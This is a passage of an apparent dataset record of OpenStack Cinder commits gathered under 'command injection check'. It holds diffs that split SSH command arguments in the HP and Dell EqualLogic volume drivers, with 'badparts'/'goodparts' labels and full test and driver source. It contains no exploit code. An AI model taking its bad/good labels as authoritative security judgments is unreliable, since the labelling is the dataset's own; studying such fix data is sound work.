self._get_iscsi_properties(volume)\n return {\n 'driver_volume_type': 'iscsi',\n 'data': iscsi_properties\n }\n\n def _create_server(self, connector):\n cliq_args = {}\n cliq_args['serverName'] = connector['host']\n out = self._cliq_run_xml(\"getServerInfo\", cliq_args, False)\n response = out.find(\"response\")\n result = response.attrib.get(\"result\")\n if result != '0':\n cliq_args = {}\n cliq_args['serverName'] = connector['host']\n cliq_args['initiator'] = connector['initiator']\n self._cliq_run_xml(\"createServer\", cliq_args)\n\n def terminate_connection(self, volume, connector, **kwargs):\n \"\"\"Unassign the volume from the host.\"\"\"\n cliq_args = {}\n cliq_args['volumeName'] = volume['name']\n cliq_args['serverName'] = connector['host']\n self._cliq_run_xml(\"unassignVolumeToServer\", cliq_args)\n\n def get_volume_stats(self, refresh):\n if refresh:\n self._update_backend_status()\n\n return self.device_stats\n\n def _update_backend_status(self):\n data = {}\n backend_name = self.configuration.safe_get('volume_backend_name')\n data['volume_backend_name'] = backend_name or self.__class__.__name__\n data['driver_version'] = '1.0'\n data['reserved_percentage'] = 0\n data['storage_protocol'] = 'iSCSI'\n data['vendor_name'] = 'Hewlett-Packard'\n\n result_xml = self._cliq_run_xml(\"getClusterInfo\", {})\n cluster_node = result_xml.find(\"response/cluster\")\n total_capacity = cluster_node.attrib.get(\"spaceTotal\")\n free_capacity = cluster_node.attrib.get(\"unprovisionedSpace\")\n GB = 1073741824\n\n data['total_capacity_gb'] = int(total_capacity) / GB\n data['free_capacity_gb'] = int(free_capacity) / GB\n self.device_stats = data\n"}}, "msg": "Tidy up the SSH call to avoid injection attacks for HP's driver\n\nLet the command and arguments form up a list and avoid the extra arguments\nattackers inserted to the command string.\n\nAnd modify the interface of _cli_run, there is no need for a extra argument.\n\nfix bug 1192971\nChange-Id: Iff6a3ecb64feccae1b29164117576cab9943200a"}, "9e858bebb89de05b1c9ecc27f5bd9fbff95a728e": {"url": "https://api.github.com/repos/tlakshman26/cinder-https-changes/commits/9e858bebb89de05b1c9ecc27f5bd9fbff95a728e", "html_url": "https://github.com/tlakshman26/cinder-https-changes/commit/9e858bebb89de05b1c9ecc27f5bd9fbff95a728e", "sha": "9e858bebb89de05b1c9ecc27f5bd9fbff95a728e", "keyword": "command injection check", "diff": "diff --git a/cinder/tests/test_eqlx.py b/cinder/tests/test_eqlx.py\nindex 61f9dc32b..ac815e191 100644\n--- a/cinder/tests/test_eqlx.py\n+++ b/cinder/tests/test_eqlx.py\n@@ -187,7 +187,7 @@ def test_initialize_connection(self):\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'create', 'initiator',\n self.connector['initiator'],\n- 'authmethod chap',\n+ 'authmethod', 'chap',\n 'username',\n self.configuration.eqlx_chap_login)\n self.mox.ReplayAll()\ndiff --git a/cinder/volume/drivers/eqlx.py b/cinder/volume/drivers/eqlx.py\nindex b5e7fa4f2..e86c11092 100644\n--- a/cinder/volume/drivers/eqlx.py\n+++ b/cinder/volume/drivers/eqlx.py\n@@ -392,7 +392,7 @@ def initialize_connection(self, volume, connector):\n cmd = ['volume', 'select', volume['name'], 'access', 'create',\n 'initiator', connector['initiator']]\n if self.configuration.eqlx_use_chap:\n- cmd.extend(['authmethod chap', 'username',\n+ cmd.extend(['authmethod', 'chap', 'username',\n self.configuration.eqlx_chap_login])\n self._eql_execute(*cmd)\n iscsi_properties = self._get_iscsi_properties(volume)\n", "message": "", "files": {"/cinder/tests/test_eqlx.py": {"changes": [{"diff": "\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'create', 'initiator',\n self.connector['initiator'],\n- 'authmethod chap',\n+ 'authmethod', 'chap',\n 'username',\n self.configuration.eqlx_chap_login)\n self.mox.ReplayAll()", "add": 1, "remove": 1, "filename": "/cinder/tests/test_eqlx.py", "badparts": [" 'authmethod chap',"], "goodparts": [" 'authmethod', 'chap',"]}], "source": "\n import time import mox import paramiko from cinder import context from cinder import exception from cinder.openstack.common import log as logging from cinder.openstack.common import processutils from cinder import test from cinder.volume import configuration as conf from cinder.volume.drivers import eqlx LOG=logging.getLogger(__name__) class DellEQLSanISCSIDriverTestCase(test.TestCase): def setUp(self): super(DellEQLSanISCSIDriverTestCase, self).setUp() self.configuration=mox.MockObject(conf.Configuration) self.configuration.append_config_values(mox.IgnoreArg()) self.configuration.san_is_local=False self.configuration.san_ip=\"10.0.0.1\" self.configuration.san_login=\"foo\" self.configuration.san_password=\"bar\" self.configuration.san_ssh_port=16022 self.configuration.san_thin_provision=True self.configuration.eqlx_pool='non-default' self.configuration.eqlx_use_chap=True self.configuration.eqlx_group_name='group-0' self.configuration.eqlx_cli_timeout=30 self.configuration.eqlx_cli_max_retries=5 self.configuration.eqlx_chap_login='admin' self.configuration.eqlx_chap_password='password' self.configuration.volume_name_template='volume_%s' self._context=context.get_admin_context() self.driver=eqlx.DellEQLSanISCSIDriver( configuration=self.configuration) self.volume_name=\"fakevolume\" self.volid=\"fakeid\" self.connector={'ip': '10.0.0.2', 'initiator': 'iqn.1993-08.org.debian:01:222', 'host': 'fakehost'} self.fake_iqn='iqn.2003-10.com.equallogic:group01:25366:fakev' self.driver._group_ip='10.0.1.6' self.properties={ 'target_discoverd': True, 'target_portal': '%s:3260' % self.driver._group_ip, 'target_iqn': self.fake_iqn, 'volume_id': 1} self._model_update={ 'provider_location': \"%s:3260,1 %s 0\" %(self.driver._group_ip, self.fake_iqn), 'provider_auth': 'CHAP %s %s' %( self.configuration.eqlx_chap_login, self.configuration.eqlx_chap_password) } def _fake_get_iscsi_properties(self, volume): return self.properties def test_create_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1} self.driver._eql_execute('volume', 'create', volume['name'], \"%sG\" %(volume['size']), 'pool', self.configuration.eqlx_pool, 'thin-provision').\\ AndReturn(['iSCSI target name is %s.' % self.fake_iqn]) self.mox.ReplayAll() model_update=self.driver.create_volume(volume) self.assertEqual(model_update, self._model_update) def test_delete_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1} self.driver._eql_execute('volume', 'select', volume['name'], 'show') self.driver._eql_execute('volume', 'select', volume['name'], 'offline') self.driver._eql_execute('volume', 'delete', volume['name']) self.mox.ReplayAll() self.driver.delete_volume(volume) def test_delete_absent_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1, 'id': self.volid} self.driver._eql_execute('volume', 'select', volume['name'], 'show').\\ AndRaise(processutils.ProcessExecutionError( stdout='% Error..... does not exist.\\n')) self.mox.ReplayAll() self.driver.delete_volume(volume) def test_ensure_export(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1} self.driver._eql_execute('volume', 'select', volume['name'], 'show') self.mox.ReplayAll() self.driver.ensure_export({}, volume) def test_create_snapshot(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) snapshot={'name': 'fakesnap', 'volume_name': 'fakevolume_name'} snap_name='fake_snap_name' self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'create-now').\\ AndReturn(['Snapshot name is %s' % snap_name]) self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'rename', snap_name, snapshot['name']) self.mox.ReplayAll() self.driver.create_snapshot(snapshot) def test_create_volume_from_snapshot(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) snapshot={'name': 'fakesnap', 'volume_name': 'fakevolume_name'} volume={'name': self.volume_name} self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'select', snapshot['name'], 'clone', volume['name']).\\ AndReturn(['iSCSI target name is %s.' % self.fake_iqn]) self.mox.ReplayAll() model_update=self.driver.create_volume_from_snapshot(volume, snapshot) self.assertEqual(model_update, self._model_update) def test_create_cloned_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) src_vref={'id': 'fake_uuid'} volume={'name': self.volume_name} src_volume_name=self.configuration.\\ volume_name_template % src_vref['id'] self.driver._eql_execute('volume', 'select', src_volume_name, 'clone', volume['name']).\\ AndReturn(['iSCSI target name is %s.' % self.fake_iqn]) self.mox.ReplayAll() model_update=self.driver.create_cloned_volume(volume, src_vref) self.assertEqual(model_update, self._model_update) def test_delete_snapshot(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) snapshot={'name': 'fakesnap', 'volume_name': 'fakevolume_name'} self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'delete', snapshot['name']) self.mox.ReplayAll() self.driver.delete_snapshot(snapshot) def test_extend_volume(self): new_size='200' self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 100} self.driver._eql_execute('volume', 'select', volume['name'], 'size', \"%sG\" % new_size) self.mox.ReplayAll() self.driver.extend_volume(volume, new_size) def test_initialize_connection(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name} self.stubs.Set(self.driver, \"_get_iscsi_properties\", self._fake_get_iscsi_properties) self.driver._eql_execute('volume', 'select', volume['name'], 'access', 'create', 'initiator', self.connector['initiator'], 'authmethod chap', 'username', self.configuration.eqlx_chap_login) self.mox.ReplayAll() iscsi_properties=self.driver.initialize_connection(volume, self.connector) self.assertEqual(iscsi_properties['data'], self._fake_get_iscsi_properties(volume)) def test_terminate_connection(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name} self.driver._eql_execute('volume', 'select', volume['name'], 'access', 'delete', '1') self.mox.ReplayAll() self.driver.terminate_connection(volume, self.connector) def test_do_setup(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) fake_group_ip='10.1.2.3' for feature in('confirmation', 'paging', 'events', 'formatoutput'): self.driver._eql_execute('cli-settings', feature, 'off') self.driver._eql_execute('grpparams', 'show').\\ AndReturn(['Group-Ipaddress: %s' % fake_group_ip]) self.mox.ReplayAll() self.driver.do_setup(self._context) self.assertEqual(fake_group_ip, self.driver._group_ip) def test_update_volume_stats(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) self.driver._eql_execute('pool', 'select', self.configuration.eqlx_pool, 'show').\\ AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB']) self.mox.ReplayAll() self.driver._update_volume_stats() self.assertEqual(self.driver._stats['total_capacity_gb'], 111.0) self.assertEqual(self.driver._stats['free_capacity_gb'], 11.0) def test_get_volume_stats(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) self.driver._eql_execute('pool', 'select', self.configuration.eqlx_pool, 'show').\\ AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB']) self.mox.ReplayAll() stats=self.driver.get_volume_stats(refresh=True) self.assertEqual(stats['total_capacity_gb'], float('111.0')) self.assertEqual(stats['free_capacity_gb'], float('11.0')) self.assertEqual(stats['vendor_name'], 'Dell') def test_get_space_in_gb(self): self.assertEqual(self.driver._get_space_in_gb('123.0GB'), 123.0) self.assertEqual(self.driver._get_space_in_gb('123.0TB'), 123.0 * 1024) self.assertEqual(self.driver._get_space_in_gb('1024.0MB'), 1.0) def test_get_output(self): def _fake_recv(ignore_arg): return '%s> ' % self.configuration.eqlx_group_name chan=self.mox.CreateMock(paramiko.Channel) self.stubs.Set(chan, \"recv\", _fake_recv) self.assertEqual(self.driver._get_output(chan),[_fake_recv(None)]) def test_get_prefixed_value(self): lines=['Line1 passed', 'Line1 failed'] prefix=['Line1', 'Line2'] expected_output=[' passed', None] self.assertEqual(self.driver._get_prefixed_value(lines, prefix[0]), expected_output[0]) self.assertEqual(self.driver._get_prefixed_value(lines, prefix[1]), expected_output[1]) def test_ssh_execute(self): ssh=self.mox.CreateMock(paramiko.SSHClient) chan=self.mox.CreateMock(paramiko.Channel) transport=self.mox.CreateMock(paramiko.Transport) self.mox.StubOutWithMock(self.driver, '_get_output') self.mox.StubOutWithMock(chan, 'invoke_shell') expected_output=['NoError: test run'] ssh.get_transport().AndReturn(transport) transport.open_session().AndReturn(chan) chan.invoke_shell() self.driver._get_output(chan).AndReturn(expected_output) cmd='this is dummy command' chan.send('stty columns 255' +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.send(cmd +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.close() self.mox.ReplayAll() self.assertEqual(self.driver._ssh_execute(ssh, cmd), expected_output) def test_ssh_execute_error(self): ssh=self.mox.CreateMock(paramiko.SSHClient) chan=self.mox.CreateMock(paramiko.Channel) transport=self.mox.CreateMock(paramiko.Transport) self.mox.StubOutWithMock(self.driver, '_get_output') self.mox.StubOutWithMock(ssh, 'get_transport') self.mox.StubOutWithMock(chan, 'invoke_shell') expected_output=['Error: test run', '% Error'] ssh.get_transport().AndReturn(transport) transport.open_session().AndReturn(chan) chan.invoke_shell() self.driver._get_output(chan).AndReturn(expected_output) cmd='this is dummy command' chan.send('stty columns 255' +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.send(cmd +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.close() self.mox.ReplayAll() self.assertRaises(processutils.ProcessExecutionError, self.driver._ssh_execute, ssh, cmd) def test_with_timeout(self): @eqlx.with_timeout def no_timeout(cmd, *args, **kwargs): return 'no timeout' @eqlx.with_timeout def w_timeout(cmd, *args, **kwargs): time.sleep(1) self.assertEqual(no_timeout('fake cmd'), 'no timeout') self.assertRaises(exception.VolumeBackendAPIException, w_timeout, 'fake cmd', timeout=0.1) def test_local_path(self): self.assertRaises(NotImplementedError, self.driver.local_path, '') ", "sourceWithComments": "# Copyright (c) 2013 Dell Inc.\n# Copyright 2013 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport time\n\nimport mox\nimport paramiko\n\nfrom cinder import context\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder.openstack.common import processutils\nfrom cinder import test\nfrom cinder.volume import configuration as conf\nfrom cinder.volume.drivers import eqlx\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass DellEQLSanISCSIDriverTestCase(test.TestCase):\n\n def setUp(self):\n super(DellEQLSanISCSIDriverTestCase, self).setUp()\n self.configuration = mox.MockObject(conf.Configuration)\n self.configuration.append_config_values(mox.IgnoreArg())\n self.configuration.san_is_local = False\n self.configuration.san_ip = \"10.0.0.1\"\n self.configuration.san_login = \"foo\"\n self.configuration.san_password = \"bar\"\n self.configuration.san_ssh_port = 16022\n self.configuration.san_thin_provision = True\n self.configuration.eqlx_pool = 'non-default'\n self.configuration.eqlx_use_chap = True\n self.configuration.eqlx_group_name = 'group-0'\n self.configuration.eqlx_cli_timeout = 30\n self.configuration.eqlx_cli_max_retries = 5\n self.configuration.eqlx_chap_login = 'admin'\n self.configuration.eqlx_chap_password = 'password'\n self.configuration.volume_name_template = 'volume_%s'\n self._context = context.get_admin_context()\n self.driver = eqlx.DellEQLSanISCSIDriver(\n configuration=self.configuration)\n self.volume_name = \"fakevolume\"\n self.volid = \"fakeid\"\n self.connector = {'ip': '10.0.0.2',\n 'initiator': 'iqn.1993-08.org.debian:01:222',\n 'host': 'fakehost'}\n self.fake_iqn = 'iqn.2003-10.com.equallogic:group01:25366:fakev'\n self.driver._group_ip = '10.0.1.6'\n self.properties = {\n 'target_discoverd': True,\n 'target_portal': '%s:3260' % self.driver._group_ip,\n 'target_iqn': self.fake_iqn,\n 'volume_id': 1}\n self._model_update = {\n 'provider_location': \"%s:3260,1 %s 0\" % (self.driver._group_ip,\n self.fake_iqn),\n 'provider_auth': 'CHAP %s %s' % (\n self.configuration.eqlx_chap_login,\n self.configuration.eqlx_chap_password)\n }\n\n def _fake_get_iscsi_properties(self, volume):\n return self.properties\n\n def test_create_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1}\n self.driver._eql_execute('volume', 'create', volume['name'],\n \"%sG\" % (volume['size']), 'pool',\n self.configuration.eqlx_pool,\n 'thin-provision').\\\n AndReturn(['iSCSI target name is %s.' % self.fake_iqn])\n self.mox.ReplayAll()\n model_update = self.driver.create_volume(volume)\n self.assertEqual(model_update, self._model_update)\n\n def test_delete_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1}\n self.driver._eql_execute('volume', 'select', volume['name'], 'show')\n self.driver._eql_execute('volume', 'select', volume['name'], 'offline')\n self.driver._eql_execute('volume', 'delete', volume['name'])\n self.mox.ReplayAll()\n self.driver.delete_volume(volume)\n\n def test_delete_absent_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1, 'id': self.volid}\n self.driver._eql_execute('volume', 'select', volume['name'], 'show').\\\n AndRaise(processutils.ProcessExecutionError(\n stdout='% Error ..... does not exist.\\n'))\n self.mox.ReplayAll()\n self.driver.delete_volume(volume)\n\n def test_ensure_export(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1}\n self.driver._eql_execute('volume', 'select', volume['name'], 'show')\n self.mox.ReplayAll()\n self.driver.ensure_export({}, volume)\n\n def test_create_snapshot(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n snapshot = {'name': 'fakesnap', 'volume_name': 'fakevolume_name'}\n snap_name = 'fake_snap_name'\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'create-now').\\\n AndReturn(['Snapshot name is %s' % snap_name])\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'rename', snap_name,\n snapshot['name'])\n self.mox.ReplayAll()\n self.driver.create_snapshot(snapshot)\n\n def test_create_volume_from_snapshot(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n snapshot = {'name': 'fakesnap', 'volume_name': 'fakevolume_name'}\n volume = {'name': self.volume_name}\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'select', snapshot['name'],\n 'clone', volume['name']).\\\n AndReturn(['iSCSI target name is %s.' % self.fake_iqn])\n self.mox.ReplayAll()\n model_update = self.driver.create_volume_from_snapshot(volume,\n snapshot)\n self.assertEqual(model_update, self._model_update)\n\n def test_create_cloned_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n src_vref = {'id': 'fake_uuid'}\n volume = {'name': self.volume_name}\n src_volume_name = self.configuration.\\\n volume_name_template % src_vref['id']\n self.driver._eql_execute('volume', 'select', src_volume_name, 'clone',\n volume['name']).\\\n AndReturn(['iSCSI target name is %s.' % self.fake_iqn])\n self.mox.ReplayAll()\n model_update = self.driver.create_cloned_volume(volume, src_vref)\n self.assertEqual(model_update, self._model_update)\n\n def test_delete_snapshot(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n snapshot = {'name': 'fakesnap', 'volume_name': 'fakevolume_name'}\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'delete', snapshot['name'])\n self.mox.ReplayAll()\n self.driver.delete_snapshot(snapshot)\n\n def test_extend_volume(self):\n new_size = '200'\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 100}\n self.driver._eql_execute('volume', 'select', volume['name'],\n 'size', \"%sG\" % new_size)\n self.mox.ReplayAll()\n self.driver.extend_volume(volume, new_size)\n\n def test_initialize_connection(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name}\n self.stubs.Set(self.driver, \"_get_iscsi_properties\",\n self._fake_get_iscsi_properties)\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'create', 'initiator',\n self.connector['initiator'],\n 'authmethod chap',\n 'username',\n self.configuration.eqlx_chap_login)\n self.mox.ReplayAll()\n iscsi_properties = self.driver.initialize_connection(volume,\n self.connector)\n self.assertEqual(iscsi_properties['data'],\n self._fake_get_iscsi_properties(volume))\n\n def test_terminate_connection(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name}\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'delete', '1')\n self.mox.ReplayAll()\n self.driver.terminate_connection(volume, self.connector)\n\n def test_do_setup(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n fake_group_ip = '10.1.2.3'\n for feature in ('confirmation', 'paging', 'events', 'formatoutput'):\n self.driver._eql_execute('cli-settings', feature, 'off')\n self.driver._eql_execute('grpparams', 'show').\\\n AndReturn(['Group-Ipaddress: %s' % fake_group_ip])\n self.mox.ReplayAll()\n self.driver.do_setup(self._context)\n self.assertEqual(fake_group_ip, self.driver._group_ip)\n\n def test_update_volume_stats(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n self.driver._eql_execute('pool', 'select',\n self.configuration.eqlx_pool, 'show').\\\n AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB'])\n self.mox.ReplayAll()\n self.driver._update_volume_stats()\n self.assertEqual(self.driver._stats['total_capacity_gb'], 111.0)\n self.assertEqual(self.driver._stats['free_capacity_gb'], 11.0)\n\n def test_get_volume_stats(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n self.driver._eql_execute('pool', 'select',\n self.configuration.eqlx_pool, 'show').\\\n AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB'])\n self.mox.ReplayAll()\n stats = self.driver.get_volume_stats(refresh=True)\n self.assertEqual(stats['total_capacity_gb'], float('111.0'))\n self.assertEqual(stats['free_capacity_gb'], float('11.0'))\n self.assertEqual(stats['vendor_name'], 'Dell')\n\n def test_get_space_in_gb(self):\n self.assertEqual(self.driver._get_space_in_gb('123.0GB'), 123.0)\n self.assertEqual(self.driver._get_space_in_gb('123.0TB'), 123.0 * 1024)\n self.assertEqual(self.driver._get_space_in_gb('1024.0MB'), 1.0)\n\n def test_get_output(self):\n\n def _fake_recv(ignore_arg):\n return '%s> ' % self.configuration.eqlx_group_name\n\n chan = self.mox.CreateMock(paramiko.Channel)\n self.stubs.Set(chan, \"recv\", _fake_recv)\n self.assertEqual(self.driver._get_output(chan), [_fake_recv(None)])\n\n def test_get_prefixed_value(self):\n lines = ['Line1 passed', 'Line1 failed']\n prefix = ['Line1', 'Line2']\n expected_output = [' passed', None]\n self.assertEqual(self.driver._get_prefixed_value(lines, prefix[0]),\n expected_output[0])\n self.assertEqual(self.driver._get_prefixed_value(lines, prefix[1]),\n expected_output[1])\n\n def test_ssh_execute(self):\n ssh = self.mox.CreateMock(paramiko.SSHClient)\n chan = self.mox.CreateMock(paramiko.Channel)\n transport = self.mox.CreateMock(paramiko.Transport)\n self.mox.StubOutWithMock(self.driver, '_get_output')\n self.mox.StubOutWithMock(chan, 'invoke_shell')\n expected_output = ['NoError: test run']\n ssh.get_transport().AndReturn(transport)\n transport.open_session().AndReturn(chan)\n chan.invoke_shell()\n self.driver._get_output(chan).AndReturn(expected_output)\n cmd = 'this is dummy command'\n chan.send('stty columns 255' + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.send(cmd + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.close()\n self.mox.ReplayAll()\n self.assertEqual(self.driver._ssh_execute(ssh, cmd), expected_output)\n\n def test_ssh_execute_error(self):\n ssh = self.mox.CreateMock(paramiko.SSHClient)\n chan = self.mox.CreateMock(paramiko.Channel)\n transport = self.mox.CreateMock(paramiko.Transport)\n self.mox.StubOutWithMock(self.driver, '_get_output')\n self.mox.StubOutWithMock(ssh, 'get_transport')\n self.mox.StubOutWithMock(chan, 'invoke_shell')\n expected_output = ['Error: test run', '% Error']\n ssh.get_transport().AndReturn(transport)\n transport.open_session().AndReturn(chan)\n chan.invoke_shell()\n self.driver._get_output(chan).AndReturn(expected_output)\n cmd = 'this is dummy command'\n chan.send('stty columns 255' + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.send(cmd + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.close()\n self.mox.ReplayAll()\n self.assertRaises(processutils.ProcessExecutionError,\n self.driver._ssh_execute, ssh, cmd)\n\n def test_with_timeout(self):\n @eqlx.with_timeout\n def no_timeout(cmd, *args, **kwargs):\n return 'no timeout'\n\n @eqlx.with_timeout\n def w_timeout(cmd, *args, **kwargs):\n time.sleep(1)\n\n self.assertEqual(no_timeout('fake cmd'), 'no timeout')\n self.assertRaises(exception.VolumeBackendAPIException,\n w_timeout, 'fake cmd', timeout=0.1)\n\n def test_local_path(self):\n self.assertRaises(NotImplementedError, self.driver.local_path, '')\n"}, "/cinder/volume/drivers/eqlx.py": {"changes": [{"diff": "\n cmd = ['volume', 'select', volume['name'], 'access', 'create',\n 'initiator', connector['initiator']]\n if self.configuration.eqlx_use_chap:\n- cmd.extend(['authmethod chap', 'username',\n+ cmd.extend(['authmethod', 'chap', 'username',\n self.configuration.eqlx_chap_login])\n self._eql_execute(*cmd)\n iscsi_properties = self._get_iscsi_properties(volume)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/eqlx.py", "badparts": [" cmd.extend(['authmethod chap', 'username',"], "goodparts": [" cmd.extend(['authmethod', 'chap', 'username',"]}], "source": "\n \"\"\"Volume driver for Dell EqualLogic Storage.\"\"\" import functools import random import eventlet from eventlet import greenthread import greenlet from oslo.config import cfg from cinder import exception from cinder.openstack.common import excutils from cinder.openstack.common import log as logging from cinder.openstack.common import processutils from cinder import utils from cinder.volume.drivers.san import SanISCSIDriver LOG=logging.getLogger(__name__) eqlx_opts=[ cfg.StrOpt('eqlx_group_name', default='group-0', help='Group name to use for creating volumes'), cfg.IntOpt('eqlx_cli_timeout', default=30, help='Timeout for the Group Manager cli command execution'), cfg.IntOpt('eqlx_cli_max_retries', default=5, help='Maximum retry count for reconnection'), cfg.BoolOpt('eqlx_use_chap', default=False, help='Use CHAP authentication for targets?'), cfg.StrOpt('eqlx_chap_login', default='admin', help='Existing CHAP account name'), cfg.StrOpt('eqlx_chap_password', default='password', help='Password for specified CHAP account name', secret=True), cfg.StrOpt('eqlx_pool', default='default', help='Pool in which volumes will be created') ] CONF=cfg.CONF CONF.register_opts(eqlx_opts) def with_timeout(f): @functools.wraps(f) def __inner(self, *args, **kwargs): timeout=kwargs.pop('timeout', None) gt=eventlet.spawn(f, self, *args, **kwargs) if timeout is None: return gt.wait() else: kill_thread=eventlet.spawn_after(timeout, gt.kill) try: res=gt.wait() except greenlet.GreenletExit: raise exception.VolumeBackendAPIException( data=\"Command timed out\") else: kill_thread.cancel() return res return __inner class DellEQLSanISCSIDriver(SanISCSIDriver): \"\"\"Implements commands for Dell EqualLogic SAN ISCSI management. To enable the driver add the following line to the cinder configuration: volume_driver=cinder.volume.drivers.eqlx.DellEQLSanISCSIDriver Driver's prerequisites are: -a separate volume group set up and running on the SAN -SSH access to the SAN -a special user must be created which must be able to -create/delete volumes and snapshots; -clone snapshots into volumes; -modify volume access records; The access credentials to the SAN are provided by means of the following flags san_ip= san_login= san_password= san_private_key= Thin provision of volumes is enabled by default, to disable it use: san_thin_provision=false In order to use target CHAP authentication(which is disabled by default) SAN administrator must create a local CHAP user and specify the following flags for the driver: eqlx_use_chap=true eqlx_chap_login= eqlx_chap_password= eqlx_group_name parameter actually represents the CLI prompt message without '>' ending. E.g. if prompt looks like 'group-0>', then the parameter must be set to 'group-0' Also, the default CLI command execution timeout is 30 secs. Adjustable by eqlx_cli_timeout= \"\"\" VERSION=\"1.0.0\" def __init__(self, *args, **kwargs): super(DellEQLSanISCSIDriver, self).__init__(*args, **kwargs) self.configuration.append_config_values(eqlx_opts) self._group_ip=None self.sshpool=None def _get_output(self, chan): out='' ending='%s> ' % self.configuration.eqlx_group_name while not out.endswith(ending): out +=chan.recv(102400) LOG.debug(_(\"CLI output\\n%s\"), out) return out.splitlines() def _get_prefixed_value(self, lines, prefix): for line in lines: if line.startswith(prefix): return line[len(prefix):] return @with_timeout def _ssh_execute(self, ssh, command, *arg, **kwargs): transport=ssh.get_transport() chan=transport.open_session() chan.invoke_shell() LOG.debug(_(\"Reading CLI MOTD\")) self._get_output(chan) cmd='stty columns 255' LOG.debug(_(\"Setting CLI terminal width: '%s'\"), cmd) chan.send(cmd +'\\r') out=self._get_output(chan) LOG.debug(_(\"Sending CLI command: '%s'\"), command) chan.send(command +'\\r') out=self._get_output(chan) chan.close() if any(line.startswith(('% Error', 'Error:')) for line in out): desc=_(\"Error executing EQL command\") cmdout='\\n'.join(out) LOG.error(cmdout) raise processutils.ProcessExecutionError( stdout=cmdout, cmd=command, description=desc) return out def _run_ssh(self, cmd_list, attempts=1): utils.check_ssh_injection(cmd_list) command=' '. join(cmd_list) if not self.sshpool: password=self.configuration.san_password privatekey=self.configuration.san_private_key min_size=self.configuration.ssh_min_pool_conn max_size=self.configuration.ssh_max_pool_conn self.sshpool=utils.SSHPool(self.configuration.san_ip, self.configuration.san_ssh_port, self.configuration.ssh_conn_timeout, self.configuration.san_login, password=password, 